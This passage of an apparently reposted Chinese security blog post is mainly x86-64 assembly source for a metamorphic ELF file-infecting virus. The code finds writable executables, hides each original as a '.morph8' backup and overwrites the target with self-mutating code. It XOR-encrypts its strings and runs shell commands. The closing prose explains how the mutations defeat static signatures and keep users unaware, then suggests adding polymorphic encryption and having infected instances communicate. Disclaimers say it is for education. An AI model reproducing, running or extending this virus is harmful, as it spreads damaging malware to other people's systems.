vxx_str resb 8
hidden_prefix resb 16
section .text
global _start
%define SYS_read 0
%define SYS_write 1
%define SYS_open 2
%define SYS_close 3
%define SYS_exit 60
%define SYS_lseek 8
%define SYS_getdents64 217
%define SYS_access 21
%define SYS_getrandom 318
%define SYS_execve 59
%define SYS_fstat 5
%define SYS_mmap 9
%define SYS_brk 12
%define SYS_fork 57
%define SYS_wait4 61
%define F_OK 0
%define X_OK 1
%define W_OK 2
%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR 2
%define O_CREAT 64
%define O_TRUNC 512
%define PROT_READ 1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32
section .rodata
shell_path db "/bin/sh",0
sh_arg0 db "sh",0
sh_arg1 db "-c",0
; syscall wrappers with junk insertion
sys_write:
mov rax, SYS_write
JUNK
syscall
ret
sys_read:
mov rax, SYS_read
JUNK
syscall
ret
sys_open:
mov rax, SYS_open
JUNK
syscall
ret
sys_close:
mov rax, SYS_close
syscall
ret
sys_lseek:
mov rax, SYS_lseek
syscall
ret
sys_access:
mov rax, SYS_access
syscall
ret
sys_getdents64:
mov rax, SYS_getdents64
syscall
ret
sys_exit:
mov rax, SYS_exit
syscall
; validate ELF executable target
is_elf:
push r12
push r13
mov rsi, O_RDONLY
xor rdx, rdx
call sys_open
test rax, rax
js .not_elf
mov r12, rax
mov rdi, r12
mov rsi, elf_header
mov rdx, 64
call sys_read
push rax
mov rdi, r12
call sys_close
pop rax
cmp rax, 64
jl .not_elf
; validate ELF magic
mov rsi, elf_header
cmp dword [rsi], 0x464C457F
jne .not_elf
; 64-bit only
cmp byte [rsi + 4], 2
jne .not_elf
; executable or shared object
mov ax, [rsi + 16]
cmp ax, 2
je .valid
cmp ax, 3
jne .not_elf
.valid:
mov rax, 1
jmp .done
.not_elf:
xor rax, rax
.done:
pop r13
pop r12
ret
; string utilities
basename: ; extract filename from path
mov rax, rdi
mov rsi, rdi
.find_last_slash:
mov bl, [rsi]
cmp bl, 0
je .done
cmp bl, '/'
jne .next_char
inc rsi
mov rax, rsi
jmp .find_last_slash
.next_char:
inc rsi
jmp .find_last_slash
.done:
ret
strlen:
mov rdi, rdi
xor rcx, rcx
.strlen_loop:
cmp byte [rdi + rcx], 0
je .strlen_done
inc rcx
jmp .strlen_loop
.strlen_done:
mov rax, rcx
ret
strcpy:
mov rdi, rdi
mov rsi, rsi
mov rax, rdi
.cp_loop:
mov bl, [rsi]
mov [rdi], bl
inc rdi
inc rsi
cmp bl, 0
jne .cp_loop
ret
strcmp:
push rdi
push rsi
.cmp_loop:
mov al, [rdi]
mov bl, [rsi]
cmp al, bl
jne .not_equal
test al, al
jz .equal
inc rdi
inc rsi
jmp .cmp_loop
.equal:
xor rax, rax
jmp .done
.not_equal:
movzx rax, al
movzx rbx, bl
sub rax, rbx
.done:
pop rsi
pop rdi
ret
strstr:
mov r8, rdi
mov r9, rsi
mov al, [r9]
test al, al
jz .found
.scan:
mov bl, [r8]
test bl, bl
jz .not_found
cmp al, bl
je .check_match
inc r8
jmp .scan
.check_match:
mov r10, r8
mov r11, r9
.match_loop:
mov al, [r11]
test al, al
jz .found
mov bl, [r10]
test bl, bl
jz .not_found
cmp al, bl
jne .next_pos
inc r10
inc r11
jmp .match_loop
.next_pos:
inc r8
jmp .scan
.found:
mov rax, r8
ret
.not_found:
xor rax, rax
ret
; PRNG
get_random:
mov eax, [signme]
mov edx, eax
shr edx, 1
xor eax, edx
mov edx, eax
shr edx, 2
xor eax, edx
mov [signme], eax
ret
get_range: ; random in range 0-ecx
call get_random
xor edx, edx
div ecx
mov eax, edx
ret
; decrypt string with indexed key
d_strmain:
push rax
push rbx
push rcx
push rdx
push r8
mov r8, xor_keys
add r8, rcx
mov al, [r8]
mov rcx, rdx
; clear dest buffer
push rdi
push rcx
mov rdi, rsi
mov rcx, rdx
xor bl, bl
rep stosb
pop rcx
pop rdi
.d_loop:
test rcx, rcx
jz .d_done
mov bl, [rdi]
xor bl, al
mov [rsi], bl
inc rdi
inc rsi
dec rcx
jmp .d_loop
.d_done:
pop r8
pop rdx
pop rcx
pop rbx
pop rax
ret
; decrypt all strings at runtime
d_str:
push rdi
push rsi
push rdx
push rcx
mov rdi, touc
mov rsi, touch_cmd_fmt
mov rdx, 9
mov rcx, 0
call d_strmain
mov rdi, cmhd
mov rsi, chmod_cmd_fmt
mov rdx, 12
mov rcx, 1
call d_strmain
mov rdi, tchh
mov rsi, touch_chmod_fmt
mov rdx, 12
mov rcx, 2
call d_strmain
mov rdi, exec
mov rsi, exec_cmd_fmt
mov rdx, 5
mov rcx, 3
call d_strmain
mov rdi, cpcm
mov rsi, cp_cmd_fmt
mov rdx, 9
mov rcx, 4
call d_strmain
mov rdi, vxxe
mov rsi, vxx_str
mov rdx, 4
mov rcx, 5
call d_strmain
mov rdi, hidd
mov rsi, hidden_prefix
mov rdx, 8
mov rcx, 6
call d_strmain
pop rcx
pop rdx
pop rsi
pop rdi
ret
; 4 variants
spawn_junk:
push rbx
push rcx
push rdx
push r8
mov r8, rdi ; dst buffer
call get_random
and eax, 3 ; 4 variants
cmp eax, 0
je .variant_0
cmp eax, 1
je .variant_1
cmp eax, 2
je .variant_2
jmp .variant_3
.variant_0:
; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
mov byte [r8], 0x50
mov byte [r8+1], 0x53
mov byte [r8+2], 0x48
mov byte [r8+3], 0x87
mov byte [r8+4], 0xC3
mov byte [r8+5], 0x48
mov byte [r8+6], 0x87
mov byte [r8+7], 0xC3
mov byte [r8+8], 0x5B
mov byte [r8+9], 0x58
jmp .done
.variant_1:
; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
mov byte [r8], 0x51
mov byte [r8+1], 0x52
mov byte [r8+2], 0x48
mov byte [r8+3], 0x87
mov byte [r8+4], 0xCA
mov byte [r8+5], 0x48
mov byte [r8+6], 0x87
mov byte [r8+7], 0xCA
mov byte [r8+8], 0x5A
mov byte [r8+9], 0x59
jmp .done
.variant_2:
; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
mov byte [r8], 0x50
mov byte [r8+1], 0x51
mov byte [r8+2], 0x48
mov byte [r8+3], 0x87
mov byte [r8+4], 0xC1
mov byte [r8+5], 0x48
mov byte [r8+6], 0x87
mov byte [r8+7], 0xC1
mov byte [r8+8], 0x59
mov byte [r8+9], 0x58
jmp .done
.variant_3:
; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
mov byte [r8], 0x53
mov byte [r8+1], 0x52
mov byte [r8+2], 0x48
mov byte [r8+3], 0x87
mov byte [r8+4], 0xD3
mov byte [r8+5], 0x48
mov byte [r8+6], 0x87
mov byte [r8+7], 0xD3
mov byte [r8+8], 0x5A
mov byte [r8+9], 0x5B
.done:
pop r8
pop rdx
pop rcx
pop rbx
ret
; file I/O
read_f:
push r12
push r13
push r14
push r15
mov r15, rsi ; save buffer pointer
mov rax, SYS_open
mov rsi, O_RDONLY
xor rdx, rdx
syscall
test rax, rax
js .error
mov r12, rax
mov rax, SYS_fstat
mov rdi, r12
sub rsp, 144
mov rsi, rsp
syscall
test rax, rax
js .close_e
mov r13, [rsp + 48] ; file size from stat
add rsp, 144
; bounds check
cmp r13, 65536
jle .size_ok
mov r13, 65536
.size_ok:
test r13, r13
jz .empty
xor r14, r14 ; bytes read cnt
.read_loop:
mov rax, SYS_read
mov rdi, r12
mov rsi, r15
add rsi, r14 ; offset into buffer
mov rdx, r13
sub rdx, r14 ; remaining bytes to read
jz .read_done
syscall
test rax, rax
jle .read_done ; EOF or error
add r14, rax
cmp r14, r13
jl .read_loop
.read_done:
mov rax, SYS_close
mov rdi, r12
syscall
mov rax, r14 ; return bytes read
jmp .done
.empty:
mov rax, SYS_close
mov rdi, r12
syscall
xor rax, rax
.done:
pop r15
pop r14
pop r13
pop r12
ret
.close_e:
add rsp, 144
mov rax, SYS_close
mov rdi, r12
syscall
.error:
mov rax, -1
pop r15
pop r14
pop r13
pop r12
ret
write_f:
push rbp
mov rbp, rsp
push r12
push r13
push r14
push r15
mov r12, rdi ; filename
mov r13, rsi ; buffer
mov r14, rdx ; size
; validate inputs
test r12, r12
jz .write_er
test r13, r13
jz .write_er
test r14, r14
jz .write_s
mov rdi, r12
mov rsi, O_WRONLY | O_CREAT | O_TRUNC
mov rdx, 0755o
call sys_open
cmp rax, 0
jl .write_er
mov r12, rax ; fd
xor r15, r15 ; bytes written cnt
.write_lp:
mov rdi, r12
mov rsi, r13
add rsi, r15 ; offset into buffer
mov rdx, r14
sub rdx, r15 ; remaining bytes
jz .write_c
call sys_write
JUNK
test rax, rax
jle .r_close
add r15, rax
cmp r15, r14
jl .write_lp
.write_c:
mov rdi, r12
call sys_close
.write_s:
xor rax, rax ; success
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
.r_close:
mov rdi, r12
call sys_close
.write_er:
mov rax, -1
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
; instruction generator
trace_op:
; bounds check
mov rax, [codelen]
cmp rsi, rax
jae .bounds_er
mov r8, code
add r8, rsi
; instruction size check
mov rax, [codelen]
sub rax, rsi
cmp rax, 3
jae .rex_xchg
cmp rax, 2
jae .write_prefix
cmp rax, 1
jae .write_nop
.bounds_er:
xor eax, eax
ret
.write_nop:
mov byte [r8], NOP
mov eax, 1
ret
.write_prefix:
; validate register (0-3 only)
cmp dil, 3
ja .bounds_er
call get_random
and eax, 5
movzx eax, byte [prefixes + rax]
mov [r8], al
call get_random
and eax, 3 ; rax,rbx,rcx,rdx only
shl eax, 3
add eax, 0xC0
add al, dil
mov [r8 + 1], al
mov eax, 2
ret
.rex_xchg:
; generate REX.W XCHG
cmp dil, 3
ja .bounds_er
; get different register
call get_random
and eax, 3
cmp al, dil
je .rex_xchg ; retry if same
; build REX.W XCHG r1, r2
mov byte [r8], REX_W
mov byte [r8 + 1], XCHG_OP
; ModR/M byte
mov bl, XCHG_BASE
mov cl, al
shl cl, 3
add bl, cl
add bl, dil
mov [r8 + 2], bl
mov eax, 3
ret
; instruction decoder
trace_jmp:
push rbx
push rcx
cmp rsi, [codelen]
jae .invalid
mov r8, code
mov al, [r8 + rsi]
; check for NOP
cmp al, NOP
je .ret_1
; check MOV+reg
mov bl, MOV
add bl, dil
cmp al, bl
je .ret_5
; check prefix instruction
mov rbx, prefixes
.check_prefix:
mov cl, [rbx]
test cl, cl
jz .invalid
cmp cl, al
je .check_second_byte
inc rbx
jmp .check_prefix
.check_second_byte:
inc rsi
cmp rsi, [codelen]
jae .invalid
mov al, [r8 + rsi]
cmp al, 0xC0
jb .invalid
cmp al, 0xFF
ja .invalid
and al, 7
cmp al, dil
jne .invalid
.ret_2:
mov eax, 2
jmp .done
.ret_1:
mov eax, 1
jmp .done
.ret_5:
mov eax, 5
jmp .done
.invalid:
xor eax, eax
.done:
pop rcx
pop rbx
ret
; junk mutation engine
replace_junk:
push r12
push r13
push r14
push r15
mov r8, [codelen]
test r8, r8
jz .done
cmp r8, JUNKLEN
jle .done
sub r8, JUNKLEN
mov r9, code
xor r12, r12
.scan_loop:
cmp r12, r8
jae .done
mov rax, [codelen]
cmp r12, rax
jae .done
; scan for junk pattern
movzx eax, byte [r9 + r12]
cmp al, PUSH
jb .next_i
cmp al, PUSH + 3 ; rax,rbx,rcx,rdx only
ja .next_i
; second byte must be PUSH
movzx ebx, byte [r9 + r12 + 1]
cmp bl, PUSH
jb .next_i
cmp bl, PUSH + 3
ja .next_i
; check REX.W prefix
cmp byte [r9 + r12 + 2], REX_W
jne .next_i
; check XCHG opcode
cmp byte [r9 + r12 + 3], XCHG_OP
jne .next_i
; validate complete sequence
call validate
test eax, eax
jz .next_i
; replace with new junk
call insert
.next_i:
inc r12
jmp .scan_loop
.done:
pop r15
pop r14
pop r13
pop r12
ret
; validate junk pattern
validate:
push rbx
push rcx
; extract registers from PUSH
movzx eax, byte [r9 + r12]
sub al, PUSH
mov bl, al ; reg1
movzx eax, byte [r9 + r12 + 1]
sub al, PUSH
mov cl, al ; reg2
; registers must differ
cmp bl, cl
je .invalid
; check POP sequence (reversed)
movzx eax, byte [r9 + r12 + 8]
sub al, POP
cmp al, cl
jne .invalid
movzx eax, byte [r9 + r12 + 9]
sub al, POP
cmp al, bl
jne .invalid
mov eax, 1 ; Valid sequence
jmp .done
.invalid:
xor eax, eax
.done:
pop rcx
pop rbx
ret
; insert new junk sequence
insert:
push rdi
mov rdi, r9
add rdi, r12
call spawn_junk
pop rdi
ret
;; shell command execution
exec_sh:
sub rsp, 0x40
mov qword [rsp], sh_arg0_ptr
mov qword [rsp+8], rdi
mov qword [rsp+16], 0
mov rsi, rsp
xor rdx, rdx
mov rdi, shell_path
mov rax, SYS_execve
syscall
mov rdi, 1
call sys_exit
sh_arg0_ptr: dq sh_arg0
sh_arg1_ptr: dq sh_arg1
list: ; scan directory for infection targets
push rbp
mov rbp, rsp
push r12
push r13
push r14
push r15
mov r14, rsi
mov rdi, current_dir
mov rsi, O_RDONLY
mov rdx, 0
call sys_open
cmp rax, 0
jl .list_error
mov r12, rax
.list_loop:
mov rdi, r12
mov rsi, dir_buf
mov rdx, 4096
call sys_getdents64
cmp rax, 0
je .list_done
mov r13, rax
xor r15, r15
.list_entry:
cmp r15, r13
jge .list_loop
mov rdi, dir_buf
add rdi, r15
mov r8, rdi
add r8, 16
movzx rax, word [r8] ; d_reclen at offset 16
cmp rax, 19
jl .skip_entry
cmp rax, 4096
jg .skip_entry
push rax
mov r8, rdi
add r8, 18
mov cl, [r8]
cmp cl, 8
jne .skip_entry
add rdi, 19
cmp byte [rdi], '.'
jne .check_file
mov r8, rdi
inc r8
cmp byte [r8], 0
je .skip_entry
mov r8, rdi
inc r8
cmp byte [r8], '.'
je .skip_entry
.check_file:
push rdi
mov rdi, r14
call basename
mov rsi, rax
mov rdi, [rsp]
call strcmp
pop rdi
test rax, rax
jz .chosen_one
push rdi
push rsi
push rbx
; Check if filename starts with .morph8
mov rsi, hidden_prefix
mov rbx, rdi
.see_hidden:
mov al, [rbx]
mov dl, [rsi]
test dl, dl
jz .is_hidden ; End of prefix - it's a hidden file
cmp al, dl
jne .not_hidden ; Mismatch - not hidden
inc rbx
inc rsi
jmp .see_hidden
.is_hidden:
pop rbx
pop rsi
pop rdi
jmp .skip_entry
.not_hidden:
pop rbx
pop rsi
pop rdi
mov rsi, vxx_str
call strstr
test rax, rax
jnz .found_vxx
push rdi
mov rsi, X_OK
call sys_access
pop rdi
cmp rax, 0
jne .not_exec
push rdi
mov rsi, W_OK
call sys_access
pop rdi
cmp rax, 0
jne .not_exec
jmp .e_conditions
.not_exec:
jmp .skip_entry
.e_conditions:
sub rsp, 256
mov r8, rsp
push rdi
mov rdi, r8
mov rsi, [rsp]
call hidden_name
mov rax, SYS_open
mov rdi, r8
mov rsi, O_RDONLY
xor rdx, rdx
syscall
pop rdi
test rax, rax
js .not_exists
; Hidden file exists - been here, skip it
push rdi
mov rdi, rax
call sys_close
pop rdi
add rsp, 256
jmp .skip_entry
.not_exists:
add rsp, 256
; Check if we're trying to infect ourselves
push rdi ; Save current filename
; Get our own basename
mov rdi, bin_name
call basename
mov rsi, rax
mov rdi, [rsp]
call strcmp
pop rdi
test rax, rax
jz .skip_self_infection ; If filenames match, skip infection
; Check if file is a valid ELF executable before infection
push rdi
call is_elf
pop rdi
test rax, rax
jz .skip_non_elf ; Not a valid ELF, skip infection
push rdi
call implant
pop rdi
jmp .skip_entry
.skip_self_infection:
; Don't infect ourselves, just skip
jmp .skip_entry
.skip_non_elf:
; Not a valid ELF executable, skip infection
jmp .skip_entry
.chosen_one:
push rdi
mov rsi, rdi
mov rdi, orig_exec_name
call strcpy
pop rdi
jmp .skip_entry
.found_vxx:
mov byte [vierge], 0
.skip_entry:
pop rax
add r15, rax
jmp .list_entry
.list_done:
mov rdi, r12
call sys_close
.list_error:
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
implant: ; infect target executable
push r12
push r13
mov r12, rdi
; Validate input
test r12, r12
jz .d_skip
push r12
mov rdi, r12
call strlen
pop r12
mov r13, rax
; Check filename length bounds
cmp r13, 200
jg .d_skip
test r13, r13
jz .d_skip
; Check if we have code to embed
mov rax, [codelen]
test rax, rax
jz .d_skip
cmp rax, 65536
jg .d_skip
; 1: Create hidden backup of original file
sub rsp, 768
mov rdi, rsp
add rdi, 512 ; Use third section for hidden name
mov rsi, r12
call hidden_name
; Check if hidden backup already exists
mov rax, SYS_open
mov rdi, rsp
add rdi, 512 ; hidden name
mov rsi, O_RDONLY
xor rdx, rdx
syscall
test rax, rax
js .fallback ; File doesn't exist, create backup
mov rdi, rax
call sys_close
jmp .infect_orgi ; Proceed to reinfect with new mutations
.fallback:
mov rdi, rsp ; Use first section for command
mov rsi, cp_cmd_fmt
mov rdx, r12 ; original filename
mov rcx, rsp
add rcx, 512 ; hidden name
call sprintf_two_args
mov rdi, rsp
call system_call
; Set permissions on hidden file
mov rdi, rsp
add rdi, 256 ; Use second section for chmod command
mov rsi, chmod_cmd_fmt
mov rdx, rsp
add rdx, 512 ; hidden name
call sprintf
mov rdi, rsp
add rdi, 256
call system_call
.infect_orgi:
add rsp, 768
; 2: Replace original file with viral code
mov rdi, r12 ; original filename
mov rsi, code
mov rdx, [codelen]
call write_f
.d_skip:
pop r13
pop r12
ret
;; payload execution
execute: ; virus payload
JUNK
mov rdi, msg_cat
call strlen
mov rdx, rax
mov rdi, 1
mov rsi, msg_cat
call sys_write
JUNK
ret
hidden_name: ; create .morph8
push rsi
push rdi
push rbx
push rcx
mov rbx, rsi
mov rcx, hidden_prefix
.check_prefix:
mov al, [rbx]
mov dl, [rcx]
test dl, dl
jz .already_one ; it matches
cmp al, dl
jne .add_prefix ; Mismatch
inc rbx
inc rcx
jmp .check_prefix
.already_one:
; File already has .morph8 prefix, just copy it
jmp .cp_file
.add_prefix:
; Add .morph8 prefix
mov byte [rdi], '.'
mov byte [rdi + 1], 'm'
mov byte [rdi + 2], 'o'
mov byte [rdi + 3], 'r'
mov byte [rdi + 4], 'p'
mov byte [rdi + 5], 'h'
mov byte [rdi + 6], '8'
add rdi, 7
.cp_file:
mov al, [rsi]
test al, al
jz .done
mov [rdi], al
inc rsi
inc rdi
jmp .cp_file
.done:
mov byte [rdi], 0
pop rcx
pop rbx
pop rdi
pop rsi
ret
sprintf: ; basic string formatting
push r9
push r10
mov r8, rdi ; dst
mov r9, rsi ; string
mov r10, rdx ; arg
.scan_format:
mov al, [r9]
test al, al
jz .done
cmp al, '%'
je .found_percent
mov [r8], al
inc r8
inc r9
jmp .scan_format
.found_percent:
inc r9
mov al, [r9]
cmp al, 's'
je .cp_arg
cmp al, '%'
je .cp_percent
; Unknown format, copy literally
mov byte [r8], '%'
inc r8
mov [r8], al
inc r8
inc r9
jmp .scan_format
.cp_percent:
mov byte [r8], '%'
inc r8
inc r9
jmp .scan_format
.cp_arg:
push r9
mov r9, r10
.cp_loop:
mov al, [r9]
test al, al
jz .cp_done
mov [r8], al
inc r8
inc r9
jmp .cp_loop
.cp_done:
pop r9
inc r9
jmp .scan_format
.done:
mov byte [r8], 0
pop r10
pop r9
ret
sprintf_two_args: ; string with two args
push rbp
mov rbp, rsp
push r10
push r11
push r12
mov r8, rdi ; dst buffer
mov r9, rsi ; string
mov r10, rdx ; 1 arg
mov r11, rcx ; 2 arg
xor r12, r12 ; 3 cnt
.cp_loop:
mov al, [r9]
test al, al
je .done
cmp al, '%'
je .handle_format
mov [r8], al
inc r8
inc r9
jmp .cp_loop
.handle_format:
inc r9
mov al, [r9]
cmp al, 's'
je .cp_string
cmp al, '%'
je .cp_percent
mov byte [r8], '%'
inc r8
mov [r8], al
inc r8
inc r9
jmp .cp_loop
.cp_percent:
mov byte [r8], '%'
inc r8
inc r9
jmp .cp_loop
.cp_string:
cmp r12, 0
je .use_arg1
mov rdx, r11 ; second arg
jmp .do_cp
.use_arg1:
mov rdx, r10 ; first arg
.do_cp:
inc r12
push r9
push rdx
mov r9, rdx
.str_cp:
mov al, [r9]
test al, al
je .str_done
mov [r8], al
inc r8
inc r9
jmp .str_cp
.str_done:
pop rdx
pop r9
inc r9
jmp .cp_loop
.done:
mov byte [r8], 0
pop r12
pop r11
pop r10
pop rbp
ret
system_call: ; execute shell
push r12
mov r12, rdi
mov rax, SYS_fork
syscall
test rax, rax
jz .child_process
js .error
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
xor r10, r10
mov rax, SYS_wait4
syscall
pop r12
ret
.child_process:
sub rsp, 32
mov qword [rsp], sh_arg0
mov qword [rsp+8], sh_arg1
mov qword [rsp+16], r12
mov qword [rsp+24], 0
mov rax, SYS_execve
mov rdi, shell_path
mov rsi, rsp
xor rdx, rdx
syscall
mov rax, SYS_exit
mov rdi, 1
syscall
.error:
pop r12
ret
;; entry point
_start:
; anti goes here
;avant:
call d_str ; Decrypt all
mov rax, SYS_getrandom
mov rdi, signme
mov rsi, 4
xor rdx, rdx
syscall
mov al, [vierge_val]
mov [vierge], al
pop rdi
mov rsi, rsp
push rsi
mov rdi, bin_name
mov rsi, [rsp]
call strcpy
mov rdi, [rsp]
call basename
mov rdi, orig_exec_name
mov rsi, rax
call strcpy
call execute
pop rsi
push rsi
; Read our own code
mov rdi, [rsi]
call read_code
mov rax, [codelen]
test rax, rax
jz .skip_mutation
; Apply mutations
call replace_junk
.skip_mutation:
pop rsi
push rsi
mov rdi, current_dir
mov rsi, [rsi]
call list
cmp byte [vierge], 1
jne .exec_theone
cmp byte [orig_exec_name], 0
jne .orig_name_ok
mov rdi, bin_name
call basename
mov rdi, orig_exec_name
mov rsi, rax
call strcpy
.orig_name_ok:
; Build hidden name for the chosen one
sub rsp, 512
mov rdi, rsp
add rdi, 256
mov rsi, orig_exec_name
call hidden_name
; Create touch command
mov rdi, rsp ; Use first half for command
mov rsi, touch_cmd_fmt
mov rdx, rsp
add rdx, 256 ; Point to hidden name
call sprintf
mov rdi, rsp
call system_call
; Create chmod command
mov rdi, rsp ; Reuse first half for command
mov rsi, touch_chmod_fmt
mov rdx, rsp
add rdx, 256 ; Point to hidden name
call sprintf
mov rdi, rsp
call system_call
add rsp, 512
.exec_theone:
mov rdi, bin_name
mov rsi, hidden_prefix
call strstr
test rax, rax
jnz .killme
; Build hidden name and execute it
sub rsp, 512
mov rdi, rsp
add rdi, 256 ; Use second half for hidden name
mov rsi, orig_exec_name
call hidden_name
; Create exec command
mov rdi, rsp ; Use first half for command
mov rsi, exec_cmd_fmt
mov rdx, rsp
add rdx, 256 ; Point to hidden name
call sprintf
mov rdi, rsp
call system_call
add rsp, 512
.killme:
; Clean up any leftovers
call zero0ut
pop rsi
xor rdi, rdi
mov rax, SYS_exit
syscall
zero0ut:
mov rdi, code
mov rcx, 65536
xor al, al
rep stosb
mov rdi, dir_buf
mov rcx, 4096
xor al, al
rep stosb
mov rdi, temp_buf
mov rcx, 1024
xor al, al
rep stosb
ret
read_code:
mov rsi, code
call read_f
test rax, rax
js .error
mov [codelen], rax
ret
.error:
mov qword [codelen], 0
ret
extract_v:
push r12
push r13
push r14
mov rdi, bin_name
mov rsi, code
call read_f
test rax, rax
js .err_v
cmp rax, 65536
jle .size_ok
mov rax, 65536
.size_ok:
mov [codelen], rax
jmp .ext_done
.err_v:
mov qword [codelen], 0
xor rax, rax
.ext_done:
pop r14
pop r13
pop r12
ret
这只是基础版本。它的目的在于展示核心机制,而不是宣称覆盖完整体系。变形与多态引擎远比这里更深。我们现在的是一个起点,足以证明概念,但离全谱系能力还很远。
目前,这个变异引擎只会处理自己定义的垃圾模式。它不会碰任意指令序列,风险太高,太容易把逻辑搞坏。而且它目前仅支持基础寄存器替换。还没有指令重排、控制流改写、逻辑替换,这些都需要更重的分析能力和基础设施。
变异模式是硬编码的。没有自适应行为、没有环境学习、没有随时间进化。那是下一层级,现在还没触及。传播逻辑也保持简单:没有并行感染、没有线程技巧。不是不能做,只是这里不把它当重点。
vx-mutation-demo
每一代在字节层面都会变得不同,但做的事情不变。变的是写法,不是行为。这正是它能打碎静态签名的原因,因为对方必须给每个变体单独写规则,而这根本不可扩展。行为检测依然可能看到相同执行路径,所以从那个角度看不出“新东西”,但在底层代码层面,它每次运行都在持续变异。
随着 vx 反复再感染,代码会越来越远离原始形态。早期几代如果你知道观察点,仍能识别;但循环足够多之后,你看到的会是结构上几乎无关、行为却完全一致的样本。隐藏备份机制也能帮助它保持低调。原始文件仍可正常运行,用户通常不会察觉被篡改,这让 vx 更容易长期潜伏而不引人注意。
当然,这些能力有代价。变异与感染会消耗 CPU 和内存。在常规系统上通常可接受,但轻量设备或嵌入式目标可能会明显感受到压力。另外每个被感染文件都会保留备份,存储占用会翻倍。如果在小容量环境里感染大量二进制,成本会很快累积。
— 可能性 —
如果要继续推进,你会需要更大的模式库:更多垃圾模板、更多指令类别,而不只是寄存器替换,还包括算术、逻辑、内存访问等“看起来合理但功能无效”的组合。
更聪明的引擎可以在运行时做自分析,学习哪些代码可以安全变异,并即时构建新的变换模板。这才是自适应变异,不是硬编码小技巧,是实打实的跃迁。如果 syscall 抽象做得干净,还能扩展到其他平台。逻辑不变,OS 可换,只需替换 syscall stub。再结合架构感知,就能实现跨平台变形。
再往前一步,可以让被感染实例彼此通信:共享变异策略、规避已知坏模式、协同进化。但真正的突破来自更深层代码分析。只要具备真实反汇编与控制流/数据流映射,你就能更安全地变异几乎任何代码,不再局限于自识别垃圾段。
再把它和多态结合起来:加密 payload + 可变形代码结构,就会形成分层体系。表层随机化,内部隐藏化,最终行为不变。对手几乎找不到稳定锚点。
变形代码证明:软件可以在保持目标不变的前提下,持续进化自身实现。
我建议把代码放进调试器里运行,而不是直接盲跑。打好断点后,你可以直接下钻到汇编层,逐步检查到底生成了什么。这才是抓出隐蔽异常的最好方式。先到这里,下次见。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment f00crew
f00crew《自变异恶意软件的艺术》